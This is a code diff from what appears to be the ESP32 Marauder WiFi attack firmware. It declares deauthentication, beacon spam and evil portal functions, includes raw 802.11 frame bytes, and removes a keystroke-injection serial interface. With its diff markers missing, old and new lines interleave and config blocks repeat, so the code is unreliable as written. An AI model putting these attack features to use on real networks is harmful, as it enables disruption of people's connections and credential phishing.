0x01, 0x02, 0x03, 0x04, 0x05, 0x06, // Dest BSSID
0x00, 0x01, // Sequence number
0x00, 0x00, // Algo
0x01, 0x00, // Auth sequence number
0x00, 0x00, // Status Code
0x7F, 0x08,
0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00, 0x40,
0xDD, 0x0B, 0x00, 0x17, 0xF2, 0x0A, 0x00, 0x01, // Say it was Apple
0x04, 0x00, 0x00, 0x00, 0x00, 0xDD, 0x0A, 0x00,
0x10, 0x18, 0x02, 0x00, 0x00, 0x10, 0x00, 0x00,
0x00
};*/
uint8_t auth_packet[65] = {0xb0, 0x00, 0x3c, 0x00,
0x01, 0x02, 0x03, 0x04, 0x05, 0x06,
0x01, 0x02, 0x03, 0x04, 0x05, 0x06,
0x01, 0x02, 0x03, 0x04, 0x05, 0x06,
0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
0x7f, 0x08, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00,
0x00, 0x40, 0xdd, 0x0b, 0x00, 0x17, 0xf2, 0x0a,
0x00, 0x01, 0x04, 0x00, 0x00, 0x00, 0x00, 0xdd,
0x0a, 0x00, 0x10, 0x18, 0x02, 0x00, 0x00, 0x10,
0x00, 0x00, 0x00};
uint8_t prob_req_packet[128] = {0x40, 0x00, 0x00, 0x00,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, // Destination
0x01, 0x02, 0x03, 0x04, 0x05, 0x06, // Source
@@ -226,6 +241,13 @@ class WiFiScan
0xf0, 0xff, 0x02, 0x00
};
bool seen_mac(unsigned char* mac);
bool mac_cmp(struct mac_addr addr1, struct mac_addr addr2);
void save_mac(unsigned char* mac);
void clearMacHistory();
void executeWarDrive();
void startWardriverWiFi();
void startWiFiAttacks(uint8_t scan_mode, uint16_t color, String title_string);
void packetMonitorMain(uint32_t currentTime);
@@ -239,32 +261,30 @@ class WiFiScan
void sendProbeAttack(uint32_t currentTime);
void sendDeauthAttack(uint32_t currentTime, String dst_mac_str = "ff:ff:ff:ff:ff:ff");
void sendDeauthFrame(uint8_t bssid[6], int channel, String dst_mac_str = "ff:ff:ff:ff:ff:ff");
void sendDeauthFrame(uint8_t bssid[6], int channel, uint8_t mac[6]);
void broadcastRandomSSID(uint32_t currentTime);
void broadcastCustomBeacon(uint32_t current_time, ssid custom_ssid);
void broadcastCustomBeacon(uint32_t current_time, AccessPoint custom_ssid);
void broadcastSetSSID(uint32_t current_time, char* ESSID);
void broadcastSetSSID(uint32_t current_time, const char* ESSID);
void RunAPScan(uint8_t scan_mode, uint16_t color);
//void RunRickRoll(uint8_t scan_mode, uint16_t color);
//void RunBeaconSpam(uint8_t scan_mode, uint16_t color);
//void RunProbeFlood(uint8_t scan_mode, uint16_t color);
//void RunDeauthFlood(uint8_t scan_mode, uint16_t color);
void RunGPSInfo();
void RunMimicFlood(uint8_t scan_mode, uint16_t color);
//void RunBeaconList(uint8_t scan_mode, uint16_t color);
void RunEspressifScan(uint8_t scan_mode, uint16_t color);
void RunPwnScan(uint8_t scan_mode, uint16_t color);
void RunBeaconScan(uint8_t scan_mode, uint16_t color);
void RunRawScan(uint8_t scan_mode, uint16_t color);
void RunStationScan(uint8_t scan_mode, uint16_t color);
void RunDeauthScan(uint8_t scan_mode, uint16_t color);
void RunEapolScan(uint8_t scan_mode, uint16_t color);
void RunProbeScan(uint8_t scan_mode, uint16_t color);
void RunPacketMonitor(uint8_t scan_mode, uint16_t color);
void RunBluetoothScan(uint8_t scan_mode, uint16_t color);
void RunLvJoinWiFi(uint8_t scan_mode, uint16_t color);
void RunEvilPortal(uint8_t scan_mode, uint16_t color);
bool checkMem();
#ifdef HAS_BT
static void scanCompleteCB(BLEScanResults scanResults);
#endif
//int ieee80211_raw_frame_sanity_check(int32_t arg, int32_t arg2, int32_t arg3);
public:
WiFiScan();
@@ -273,9 +293,9 @@ class WiFiScan
//LinkedList<ssid>* ssids;
int set_channel = 1;
uint8_t set_channel = 1;
int old_channel = 0;
uint8_t old_channel = 0;
bool orient_display = false;
bool wifi_initialized = false;
@@ -288,42 +308,45 @@ class WiFiScan
String dst_mac = "ff:ff:ff:ff:ff:ff";
byte src_mac[6] = {};
//lv_obj_t * scr = lv_cont_create(NULL, NULL);
wifi_init_config_t cfg = WIFI_INIT_CONFIG_DEFAULT();
wifi_init_config_t cfg = WIFI_INIT_CONFIG_DEFAULT();
wifi_config_t ap_config;
String security_int_to_string(int security_type);
char* stringToChar(String string);
void RunSetup();
int clearSSIDs();
int clearAPs();
int clearStations();
bool addSSID(String essid);
int generateSSIDs(int count = 20);
bool shutdownWiFi();
bool shutdownBLE();
bool scanning();
void joinWiFi(String ssid, String password);
//void joinWiFi(String ssid, String password);
String getStaMAC();
String getApMAC();
String freeRAM();
void changeChannel();
void changeChannel(int chan);
void RunInfo();
void RunShutdownWiFi();
void RunShutdownBLE();
//void RunShutdownBLE();
void RunGenerateSSIDs(int count = 20);
void RunClearSSIDs();
void RunClearAPs();
void RunClearStations();
void channelHop();
uint8_t currentScanMode = 0;
void main(uint32_t currentTime);
void StartScan(uint8_t scan_mode, uint16_t color = 0);
void StopScan(uint8_t scan_mode);
//void addLog(String log, int len);
static void getMAC(char *addr, uint8_t* data, uint16_t offset);
static void espressifSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type);
static void pwnSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type);
static void beaconSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type);
static void rawSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type);
static void stationSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type);
static void apSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type);
static void apSnifferCallbackFull(void* buf, wifi_promiscuous_pkt_type_t type);
static void deauthSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type);
@@ -332,5 +355,6 @@ class WiFiScan
static void activeEapolSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type);
static void eapolSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type);
static void wifiSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type);
static void addPacket(wifi_promiscuous_pkt_t *snifferPacket, int len);
};
#endif

View File

@@ -1,69 +0,0 @@
#include "a32u4_interface.h"
HardwareSerial MySerial_two(2);
void A32u4Interface::begin() {
MySerial_two.begin(BAUD32U4, SERIAL_8N1, 25, 4);
delay(2000);
Serial.println("Setup A32U4 Serial Interface");
MySerial_two.println("DELAY 1");
delay(1000);
uint8_t a32u4_rep = 0;
if (MySerial_two.available()) {
a32u4_rep = (uint8_t)MySerial_two.read();
}
//display_string.trim();
//Serial.println("\nDisplay string: " + (String)display_string);
if (a32u4_rep != 0) {
this->supported = true;
#ifdef HAS_SCREEN
display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
display_obj.tft.println("ATmega32U4 Found!");
display_obj.tft.setTextColor(TFT_CYAN, TFT_BLACK);
#endif
}
else {
#ifdef HAS_SCREEN
display_obj.tft.setTextColor(TFT_RED, TFT_BLACK);
display_obj.tft.println("ATmega32U4 Not Found");
display_obj.tft.setTextColor(TFT_CYAN, TFT_BLACK);
#endif
Serial.print("A32U4 Said: ");
Serial.println(a32u4_rep);
}
this->initTime = millis();
}
void A32u4Interface::runScript(String script) {
MySerial_two.println(script);
}
void A32u4Interface::test() {
MySerial_two.println("STRING Hello, World!");
}
void A32u4Interface::main(uint32_t current_time) {
if (current_time - this->initTime >= 1000) {
this->initTime = millis();
//MySerial_two.write("PING");
//delay(1);
if (MySerial_two.available()) {
Serial.println("Got A32U4 Serial data");
Serial.println(MySerial_two.read());
}
}
}

View File

@@ -1,30 +0,0 @@
#ifndef a32u4_interface_h
#define a32u4_interface_h
#include "configs.h"
#ifdef HAS_SCREEN
#include "Display.h"
#endif
#include <HardwareSerial.h>
#define BAUD32U4 115200
#ifdef HAS_SCREEN
extern Display display_obj;
#endif
class A32u4Interface {
public:
bool supported = false;
uint32_t initTime;
void begin();
void main(uint32_t current_time);
void test();
void runScript(String script);
};
#endif

View File

@@ -3,7 +3,13 @@
#define configs_h
#define POLISH_POTATO
//Indicates that it must redirect the stream with the captured packets to serial (1)
//If not defined, will write packages to SD card if supported
//#define WRITE_PACKETS_SERIAL
//// BOARD TARGETS
//#define MARAUDER_M5STICKC
//#define MARAUDER_MINI
//#define MARAUDER_V4
//#define MARAUDER_V6
@@ -11,249 +17,504 @@
//#define GENERIC_ESP32
#define MARAUDER_FLIPPER
//#define ESP32_LDDB
//#define MARAUDER_DEV_BOARD_PRO
//#define XIAO_ESP32_S3
//// END BOARD TARGETS
#define MARAUDER_VERSION "v0.9.19"
#define MARAUDER_VERSION "v0.12.0"
//// BOARD FEATURES
#ifdef MARAUDER_M5STICKC
//#define FLIPPER_ZERO_HAT
#define HAS_BATTERY
#define HAS_BUTTONS
#define HAS_NEOPIXEL_LED
#define HAS_PWR_MGMT
#define HAS_SCREEN
#define HAS_SD
#define USE_SD
#define HAS_TEMP_SENSOR
//#define HAS_GPS
#endif
//// BUTTON DEFINITIONS
#ifdef MARAUDER_MINI
#define L_BTN 13
#define C_BTN 34
#define U_BTN 36
#define R_BTN 39
#define D_BTN 35
//#define FLIPPER_ZERO_HAT
#define HAS_BATTERY
#define HAS_BT
#define HAS_BUTTONS
#define HAS_NEOPIXEL_LED
//#define HAS_PWR_MGMT
#define HAS_SCREEN
#define HAS_SD
#define USE_SD
#define HAS_TEMP_SENSOR
//#define HAS_GPS
#endif
#ifdef MARAUDER_V4
//#define FLIPPER_ZERO_HAT
#define HAS_BATTERY
#define HAS_BT
//#define HAS_BUTTONS
#define HAS_NEOPIXEL_LED
//#define HAS_PWR_MGMT
#define HAS_SCREEN
#define HAS_SD
#define USE_SD
#define HAS_TEMP_SENSOR
#define HAS_GPS
#endif
#ifdef MARAUDER_V6
//#define FLIPPER_ZERO_HAT
#define HAS_BATTERY
#define HAS_BT
//#define HAS_BUTTONS
#define HAS_NEOPIXEL_LED
//#define HAS_PWR_MGMT
#define HAS_SCREEN
#define HAS_SD
#define USE_SD
#define HAS_TEMP_SENSOR
#define HAS_GPS
#endif
#ifdef MARAUDER_KIT
//#define FLIPPER_ZERO_HAT
#define HAS_BATTERY
#define HAS_BT
//#define HAS_BUTTONS
#define HAS_NEOPIXEL_LED
//#define HAS_PWR_MGMT
#define HAS_SCREEN
#define HAS_SD
#define USE_SD
#define HAS_TEMP_SENSOR
#define HAS_GPS
#endif
#ifdef GENERIC_ESP32
//#define FLIPPER_ZERO_HAT
//#define HAS_BATTERY
#define HAS_BT
//#define HAS_BUTTONS
//#define HAS_NEOPIXEL_LED
//#define HAS_PWR_MGMT
//#define HAS_SCREEN
//#define HAS_SD
//#define HAS_TEMP_SENSOR
//#define HAS_GPS
#endif
#ifdef MARAUDER_FLIPPER
//#define FLIPPER_ZERO_HAT
//#define HAS_BATTERY
//#define HAS_BT
//#define HAS_BUTTONS
//#define HAS_NEOPIXEL_LED
//#define HAS_PWR_MGMT
//#define HAS_SCREEN
#define HAS_GPS
#ifndef WRITE_PACKETS_SERIAL
#define HAS_SD
#define USE_SD
#endif
//#define HAS_TEMP_SENSOR
#endif
#ifdef ESP32_LDDB
//#define FLIPPER_ZERO_HAT
//#define HAS_BATTERY
//#define HAS_BT
//#define HAS_BUTTONS
#define HAS_NEOPIXEL_LED
//#define HAS_PWR_MGMT
//#define HAS_SCREEN
#define HAS_SD
#define USE_SD
//#define HAS_TEMP_SENSOR
//#define HAS_GPS
#endif
#ifdef MARAUDER_DEV_BOARD_PRO
//#define FLIPPER_ZERO_HAT
//#define HAS_BATTERY
#define HAS_BT
//#define HAS_BUTTONS
#define HAS_NEOPIXEL_LED
//#define HAS_PWR_MGMT
//#define HAS_SCREEN
#define HAS_SD
#define USE_SD
//#define HAS_TEMP_SENSOR
#define HAS_GPS
#endif
#ifdef XIAO_ESP32_S3
#define FLIPPER_ZERO_HAT
//#define HAS_BATTERY
#define HAS_BT
//#define HAS_BUTTONS
//#define HAS_NEOPIXEL_LED
//#define HAS_PWR_MGMT
//#define HAS_SCREEN
//#define HAS_SD
//#define HAS_TEMP_SENSOR
//#define HAS_GPS
#endif
//// END BOARD FEATURES
//// FLIPPER ZERO HAT SETTINGS
#ifdef FLIPPER_ZERO_HAT
//#ifdef MARAUDER_FLIPPER
// #define USE_FLIPPER_SD
//#endif
#ifdef XIAO_ESP32_S3
#define USE_FLIPPER_SD
#endif
#endif
//// END FLIPPER ZERO HAT SETTINGS
//// POWER MANAGEMENT
#ifdef HAS_PWR_MGMT
#ifdef MARAUDER_M5STICKC
#include "AXP192.h"
#endif
#endif
//// END POWER MANAGEMENT
//// BUTTON DEFINITIONS
#ifdef HAS_BUTTONS
#ifdef MARAUDER_MINI
#define L_BTN 13
#define C_BTN 34
#define U_BTN 36
#define R_BTN 39
#define D_BTN 35
#endif
#ifdef MARAUDER_M5STICKC
#define L_BTN -1
#define C_BTN 37
#define U_BTN -1
#define R_BTN -1
#define D_BTN 39
#endif
#endif
//// END BUTTON DEFINITIONS
//// DISPLAY DEFINITIONS
#ifdef MARAUDER_V4
#define BANNER_TEXT_SIZE 2
#ifdef HAS_SCREEN
#ifdef MARAUDER_M5STICKC
#define SCREEN_CHAR_WIDTH 40
//#define TFT_MISO 19
#define TFT_MOSI 15
#define TFT_SCLK 13
#define TFT_CS 5
#define TFT_DC 23
#define TFT_RST 18
#define TFT_BL 10
#define TOUCH_CS 10
//#define SD_CS 1
#define SCREEN_BUFFER
#define MAX_SCREEN_BUFFER 9
#define BANNER_TEXT_SIZE 1
#ifndef TFT_WIDTH
#define TFT_WIDTH 135
#endif
#ifndef TFT_HEIGHT
#define TFT_HEIGHT 240
#endif
#define CHAR_WIDTH 6
#define SCREEN_WIDTH TFT_HEIGHT // Originally 240
#define SCREEN_HEIGHT TFT_WIDTH // Originally 320
#define HEIGHT_1 TFT_WIDTH
#define WIDTH_1 TFT_WIDTH
#define STANDARD_FONT_CHAR_LIMIT (TFT_WIDTH/6) // number of characters on a single line with normal font
#define TEXT_HEIGHT (TFT_HEIGHT/10) // Height of text to be printed and scrolled
#define BOT_FIXED_AREA 0 // Number of lines in bottom fixed area (lines counted from bottom of screen)
#define TOP_FIXED_AREA 48 // Number of lines in top fixed area (lines counted from top of screen)
#define YMAX TFT_HEIGHT // Bottom of screen area
#define minimum(a,b) (((a) < (b)) ? (a) : (b))
//#define MENU_FONT NULL
#define MENU_FONT &FreeMono9pt7b // Winner
//#define MENU_FONT &FreeMonoBold9pt7b
//#define MENU_FONT &FreeSans9pt7b
//#define MENU_FONT &FreeSansBold9pt7b
#define BUTTON_ARRAY_LEN 12
#define STATUS_BAR_WIDTH (TFT_HEIGHT/16)
#define LVGL_TICK_PERIOD 6
#define FRAME_X 100
#define FRAME_Y 64
#define FRAME_W 120
#define FRAME_H 50
// Red zone size
#define REDBUTTON_X FRAME_X
#define REDBUTTON_Y FRAME_Y
#define REDBUTTON_W (FRAME_W/2)
#define REDBUTTON_H FRAME_H
// Green zone size
#define GREENBUTTON_X (REDBUTTON_X + REDBUTTON_W)
#define GREENBUTTON_Y FRAME_Y
#define GREENBUTTON_W (FRAME_W/2)
#define GREENBUTTON_H FRAME_H
#define STATUSBAR_COLOR 0x4A49
#ifndef TFT_WIDTH
#define TFT_WIDTH 240
#endif
#ifndef TFT_HEIGHT
#define TFT_HEIGHT 320
#ifdef MARAUDER_V4
#define SCREEN_CHAR_WIDTH 40
#define HAS_ILI9341
#define BANNER_TEXT_SIZE 2
#ifndef TFT_WIDTH
#define TFT_WIDTH 240
#endif
#ifndef TFT_HEIGHT
#define TFT_HEIGHT 320
#endif
#define TFT_SHIELD
#define SCREEN_WIDTH TFT_WIDTH
#define SCREEN_HEIGHT TFT_HEIGHT
#define HEIGHT_1 TFT_WIDTH
#define WIDTH_1 TFT_HEIGHT
#define STANDARD_FONT_CHAR_LIMIT (TFT_WIDTH/6) // number of characters on a single line with normal font
#define TEXT_HEIGHT 16 // Height of text to be printed and scrolled
#define BOT_FIXED_AREA 0 // Number of lines in bottom fixed area (lines counted from bottom of screen)
#define TOP_FIXED_AREA 48 // Number of lines in top fixed area (lines counted from top of screen)
#define YMAX 320 // Bottom of screen area
#define minimum(a,b) (((a) < (b)) ? (a) : (b))
//#define MENU_FONT NULL
#define MENU_FONT &FreeMono9pt7b // Winner
//#define MENU_FONT &FreeMonoBold9pt7b
//#define MENU_FONT &FreeSans9pt7b
//#define MENU_FONT &FreeSansBold9pt7b
#define BUTTON_ARRAY_LEN 12
#define STATUS_BAR_WIDTH 16
#define LVGL_TICK_PERIOD 6
#define FRAME_X 100
#define FRAME_Y 64
#define FRAME_W 120
#define FRAME_H 50
// Red zone size
#define REDBUTTON_X FRAME_X
#define REDBUTTON_Y FRAME_Y
#define REDBUTTON_W (FRAME_W/2)
#define REDBUTTON_H FRAME_H
// Green zone size
#define GREENBUTTON_X (REDBUTTON_X + REDBUTTON_W)
#define GREENBUTTON_Y FRAME_Y
#define GREENBUTTON_W (FRAME_W/2)
#define GREENBUTTON_H FRAME_H
#define STATUSBAR_COLOR 0x4A49
#define KIT_LED_BUILTIN 13
#endif
#define TFT_SHIELD
#ifdef MARAUDER_V6
#define SCREEN_CHAR_WIDTH 40
#define HAS_ILI9341
#define SCREEN_WIDTH TFT_WIDTH
#define SCREEN_HEIGHT TFT_HEIGHT
#define HEIGHT_1 TFT_WIDTH
#define WIDTH_1 TFT_HEIGHT
#define STANDARD_FONT_CHAR_LIMIT (TFT_WIDTH/6) // number of characters on a single line with normal font
#define TEXT_HEIGHT 16 // Height of text to be printed and scrolled
#define BOT_FIXED_AREA 0 // Number of lines in bottom fixed area (lines counted from bottom of screen)
#define TOP_FIXED_AREA 48 // Number of lines in top fixed area (lines counted from top of screen)
#define YMAX 320 // Bottom of screen area
#define minimum(a,b) (((a) < (b)) ? (a) : (b))
//#define MENU_FONT NULL
#define MENU_FONT &FreeMono9pt7b // Winner
//#define MENU_FONT &FreeMonoBold9pt7b
//#define MENU_FONT &FreeSans9pt7b
//#define MENU_FONT &FreeSansBold9pt7b
#define BUTTON_ARRAY_LEN 10
#define STATUS_BAR_WIDTH 16
#define LVGL_TICK_PERIOD 6
#define FRAME_X 100
#define FRAME_Y 64
#define FRAME_W 120
#define FRAME_H 50
// Red zone size
#define REDBUTTON_X FRAME_X
#define REDBUTTON_Y FRAME_Y
#define REDBUTTON_W (FRAME_W/2)
#define REDBUTTON_H FRAME_H
// Green zone size
#define GREENBUTTON_X (REDBUTTON_X + REDBUTTON_W)
#define GREENBUTTON_Y FRAME_Y
#define GREENBUTTON_W (FRAME_W/2)
#define GREENBUTTON_H FRAME_H
#define STATUSBAR_COLOR 0x4A49
#define KIT_LED_BUILTIN 13
#endif
#define BANNER_TEXT_SIZE 2
#ifdef MARAUDER_V6
#define BANNER_TEXT_SIZE 2
#ifndef TFT_WIDTH
#define TFT_WIDTH 240
#endif
#ifndef TFT_WIDTH
#define TFT_WIDTH 240
#ifndef TFT_HEIGHT
#define TFT_HEIGHT 320
#endif
#define TFT_DIY
#define SCREEN_WIDTH TFT_WIDTH
#define SCREEN_HEIGHT TFT_HEIGHT
#define HEIGHT_1 TFT_WIDTH
#define WIDTH_1 TFT_HEIGHT
#define STANDARD_FONT_CHAR_LIMIT (TFT_WIDTH/6) // number of characters on a single line with normal font
#define TEXT_HEIGHT 16 // Height of text to be printed and scrolled
#define BOT_FIXED_AREA 0 // Number of lines in bottom fixed area (lines counted from bottom of screen)
#define TOP_FIXED_AREA 48 // Number of lines in top fixed area (lines counted from top of screen)
#define YMAX 320 // Bottom of screen area
#define minimum(a,b) (((a) < (b)) ? (a) : (b))
//#define MENU_FONT NULL
#define MENU_FONT &FreeMono9pt7b // Winner
//#define MENU_FONT &FreeMonoBold9pt7b
//#define MENU_FONT &FreeSans9pt7b
//#define MENU_FONT &FreeSansBold9pt7b
#define BUTTON_ARRAY_LEN 12
#define STATUS_BAR_WIDTH 16
#define LVGL_TICK_PERIOD 6
#define FRAME_X 100
#define FRAME_Y 64
#define FRAME_W 120
#define FRAME_H 50
// Red zone size
#define REDBUTTON_X FRAME_X
#define REDBUTTON_Y FRAME_Y
#define REDBUTTON_W (FRAME_W/2)
#define REDBUTTON_H FRAME_H
// Green zone size
#define GREENBUTTON_X (REDBUTTON_X + REDBUTTON_W)
#define GREENBUTTON_Y FRAME_Y
#define GREENBUTTON_W (FRAME_W/2)
#define GREENBUTTON_H FRAME_H
#define STATUSBAR_COLOR 0x4A49
#define KIT_LED_BUILTIN 13
#endif
#ifdef MARAUDER_KIT
#define SCREEN_CHAR_WIDTH 40
#define HAS_ILI9341
#define BANNER_TEXT_SIZE 2
#ifndef TFT_WIDTH
#define TFT_WIDTH 240
#endif
#ifndef TFT_HEIGHT
#define TFT_HEIGHT 320
#endif
#define TFT_DIY
#define KIT
#define SCREEN_WIDTH TFT_WIDTH
#define SCREEN_HEIGHT TFT_HEIGHT
#define HEIGHT_1 TFT_WIDTH
#define WIDTH_1 TFT_HEIGHT
#define STANDARD_FONT_CHAR_LIMIT (TFT_WIDTH/6) // number of characters on a single line with normal font
#define TEXT_HEIGHT 16 // Height of text to be printed and scrolled
#define BOT_FIXED_AREA 0 // Number of lines in bottom fixed area (lines counted from bottom of screen)
#define TOP_FIXED_AREA 48 // Number of lines in top fixed area (lines counted from top of screen)
#define YMAX 320 // Bottom of screen area
#define minimum(a,b) (((a) < (b)) ? (a) : (b))
//#define MENU_FONT NULL
#define MENU_FONT &FreeMono9pt7b // Winner
//#define MENU_FONT &FreeMonoBold9pt7b
//#define MENU_FONT &FreeSans9pt7b
//#define MENU_FONT &FreeSansBold9pt7b
#define BUTTON_ARRAY_LEN 12
#define STATUS_BAR_WIDTH 16
#define LVGL_TICK_PERIOD 6
#define FRAME_X 100
#define FRAME_Y 64
#define FRAME_W 120
#define FRAME_H 50
// Red zone size
#define REDBUTTON_X FRAME_X
#define REDBUTTON_Y FRAME_Y
#define REDBUTTON_W (FRAME_W/2)
#define REDBUTTON_H FRAME_H
// Green zone size
#define GREENBUTTON_X (REDBUTTON_X + REDBUTTON_W)
#define GREENBUTTON_Y FRAME_Y
#define GREENBUTTON_W (FRAME_W/2)
#define GREENBUTTON_H FRAME_H
#define STATUSBAR_COLOR 0x4A49
#define KIT_LED_BUILTIN 13
#endif
#ifndef TFT_HEIGHT
#define TFT_HEIGHT 320
#endif
#define TFT_DIY
#define SCREEN_WIDTH TFT_WIDTH
#define SCREEN_HEIGHT TFT_HEIGHT
#define HEIGHT_1 TFT_WIDTH
#define WIDTH_1 TFT_HEIGHT
#define STANDARD_FONT_CHAR_LIMIT (TFT_WIDTH/6) // number of characters on a single line with normal font
#define TEXT_HEIGHT 16 // Height of text to be printed and scrolled
#define BOT_FIXED_AREA 0 // Number of lines in bottom fixed area (lines counted from bottom of screen)
#define TOP_FIXED_AREA 48 // Number of lines in top fixed area (lines counted from top of screen)
#define YMAX 320 // Bottom of screen area
#define minimum(a,b) (((a) < (b)) ? (a) : (b))
//#define MENU_FONT NULL
#define MENU_FONT &FreeMono9pt7b // Winner
//#define MENU_FONT &FreeMonoBold9pt7b
//#define MENU_FONT &FreeSans9pt7b
//#define MENU_FONT &FreeSansBold9pt7b
#define BUTTON_ARRAY_LEN 10
#define STATUS_BAR_WIDTH 16
#define LVGL_TICK_PERIOD 6
#define FRAME_X 100
#define FRAME_Y 64
#define FRAME_W 120
#define FRAME_H 50
// Red zone size
#define REDBUTTON_X FRAME_X
#define REDBUTTON_Y FRAME_Y
#define REDBUTTON_W (FRAME_W/2)
#define REDBUTTON_H FRAME_H
// Green zone size
#define GREENBUTTON_X (REDBUTTON_X + REDBUTTON_W)
#define GREENBUTTON_Y FRAME_Y
#define GREENBUTTON_W (FRAME_W/2)
#define GREENBUTTON_H FRAME_H
#define STATUSBAR_COLOR 0x4A49
#define KIT_LED_BUILTIN 13
#endif
#ifdef MARAUDER_KIT
#define BANNER_TEXT_SIZE 2
#ifndef TFT_WIDTH
#define TFT_WIDTH 240
#endif
#ifndef TFT_HEIGHT
#define TFT_HEIGHT 320
#endif
#define TFT_DIY
#define KIT
#define SCREEN_WIDTH TFT_WIDTH
#define SCREEN_HEIGHT TFT_HEIGHT
#define HEIGHT_1 TFT_WIDTH
#define WIDTH_1 TFT_HEIGHT
#define STANDARD_FONT_CHAR_LIMIT (TFT_WIDTH/6) // number of characters on a single line with normal font
#define TEXT_HEIGHT 16 // Height of text to be printed and scrolled
#define BOT_FIXED_AREA 0 // Number of lines in bottom fixed area (lines counted from bottom of screen)
#define TOP_FIXED_AREA 48 // Number of lines in top fixed area (lines counted from top of screen)
#define YMAX 320 // Bottom of screen area
#define minimum(a,b) (((a) < (b)) ? (a) : (b))
//#define MENU_FONT NULL
#define MENU_FONT &FreeMono9pt7b // Winner
//#define MENU_FONT &FreeMonoBold9pt7b
//#define MENU_FONT &FreeSans9pt7b
//#define MENU_FONT &FreeSansBold9pt7b
#define BUTTON_ARRAY_LEN 10
#define STATUS_BAR_WIDTH 16
#define LVGL_TICK_PERIOD 6
#define FRAME_X 100
#define FRAME_Y 64
#define FRAME_W 120
#define FRAME_H 50
// Red zone size
#define REDBUTTON_X FRAME_X
#define REDBUTTON_Y FRAME_Y
#define REDBUTTON_W (FRAME_W/2)
#define REDBUTTON_H FRAME_H
// Green zone size
#define GREENBUTTON_X (REDBUTTON_X + REDBUTTON_W)
#define GREENBUTTON_Y FRAME_Y
#define GREENBUTTON_W (FRAME_W/2)
#define GREENBUTTON_H FRAME_H
#define STATUSBAR_COLOR 0x4A49
#define KIT_LED_BUILTIN 13
#endif
#ifdef MARAUDER_MINI
#define TFT_MISO 19
#define TFT_MOSI 23
#define TFT_SCLK 18
#define TFT_CS 27
#define TFT_DC 26
#define TFT_RST 5
#define TFT_BL 32
#define TOUCH_CS 21
#define SD_CS 4
#ifdef MARAUDER_MINI
#define SCREEN_CHAR_WIDTH 40
#define TFT_MISO 19
#define TFT_MOSI 23
#define TFT_SCLK 18
#define TFT_CS 27
#define TFT_DC 26
#define TFT_RST 5
#define TFT_BL 32
#define TOUCH_CS 21
#define SD_CS 4
#define SCREEN_BUFFER
#define SCREEN_BUFFER
#define MAX_SCREEN_BUFFER 9
#define MAX_SCREEN_BUFFER 9
#define BANNER_TEXT_SIZE 1
#define BANNER_TEXT_SIZE 1
#ifndef TFT_WIDTH
#define TFT_WIDTH 128
#ifndef TFT_WIDTH
#define TFT_WIDTH 128
#endif
#ifndef TFT_HEIGHT
#define TFT_HEIGHT 128
#endif
#define CHAR_WIDTH 6
#define SCREEN_WIDTH TFT_WIDTH // Originally 240
#define SCREEN_HEIGHT TFT_HEIGHT // Originally 320
#define HEIGHT_1 TFT_WIDTH
#define WIDTH_1 TFT_WIDTH
#define STANDARD_FONT_CHAR_LIMIT (TFT_WIDTH/6) // number of characters on a single line with normal font
#define TEXT_HEIGHT (TFT_HEIGHT/10) // Height of text to be printed and scrolled
#define BOT_FIXED_AREA 0 // Number of lines in bottom fixed area (lines counted from bottom of screen)
#define TOP_FIXED_AREA 48 // Number of lines in top fixed area (lines counted from top of screen)
#define YMAX TFT_HEIGHT // Bottom of screen area
#define minimum(a,b) (((a) < (b)) ? (a) : (b))
//#define MENU_FONT NULL
#define MENU_FONT &FreeMono9pt7b // Winner
//#define MENU_FONT &FreeMonoBold9pt7b
//#define MENU_FONT &FreeSans9pt7b
//#define MENU_FONT &FreeSansBold9pt7b
#define BUTTON_ARRAY_LEN 12
#define STATUS_BAR_WIDTH (TFT_HEIGHT/16)
#define LVGL_TICK_PERIOD 6
#define FRAME_X 100
#define FRAME_Y 64
#define FRAME_W 120
#define FRAME_H 50
// Red zone size
#define REDBUTTON_X FRAME_X
#define REDBUTTON_Y FRAME_Y
#define REDBUTTON_W (FRAME_W/2)
#define REDBUTTON_H FRAME_H
// Green zone size
#define GREENBUTTON_X (REDBUTTON_X + REDBUTTON_W)
#define GREENBUTTON_Y FRAME_Y
#define GREENBUTTON_W (FRAME_W/2)
#define GREENBUTTON_H FRAME_H
#define STATUSBAR_COLOR 0x4A49
#endif
#ifndef TFT_HEIGHT
#define TFT_HEIGHT 128
#endif
#define CHAR_WIDTH 6
#define SCREEN_WIDTH TFT_WIDTH // Originally 240
#define SCREEN_HEIGHT TFT_HEIGHT // Originally 320
#define HEIGHT_1 TFT_WIDTH
#define WIDTH_1 TFT_WIDTH
#define STANDARD_FONT_CHAR_LIMIT (TFT_WIDTH/6) // number of characters on a single line with normal font
#define TEXT_HEIGHT (TFT_HEIGHT/10) // Height of text to be printed and scrolled
#define BOT_FIXED_AREA 0 // Number of lines in bottom fixed area (lines counted from bottom of screen)
#define TOP_FIXED_AREA 48 // Number of lines in top fixed area (lines counted from top of screen)
#define YMAX TFT_HEIGHT // Bottom of screen area
#define minimum(a,b) (((a) < (b)) ? (a) : (b))
//#define MENU_FONT NULL
#define MENU_FONT &FreeMono9pt7b // Winner
//#define MENU_FONT &FreeMonoBold9pt7b
//#define MENU_FONT &FreeSans9pt7b
//#define MENU_FONT &FreeSansBold9pt7b
#define BUTTON_ARRAY_LEN 10
#define STATUS_BAR_WIDTH (TFT_HEIGHT/16)
#define LVGL_TICK_PERIOD 6
#define FRAME_X 100
#define FRAME_Y 64
#define FRAME_W 120
#define FRAME_H 50
// Red zone size
#define REDBUTTON_X FRAME_X
#define REDBUTTON_Y FRAME_Y
#define REDBUTTON_W (FRAME_W/2)
#define REDBUTTON_H FRAME_H
// Green zone size
#define GREENBUTTON_X (REDBUTTON_X + REDBUTTON_W)
#define GREENBUTTON_Y FRAME_Y
#define GREENBUTTON_W (FRAME_W/2)
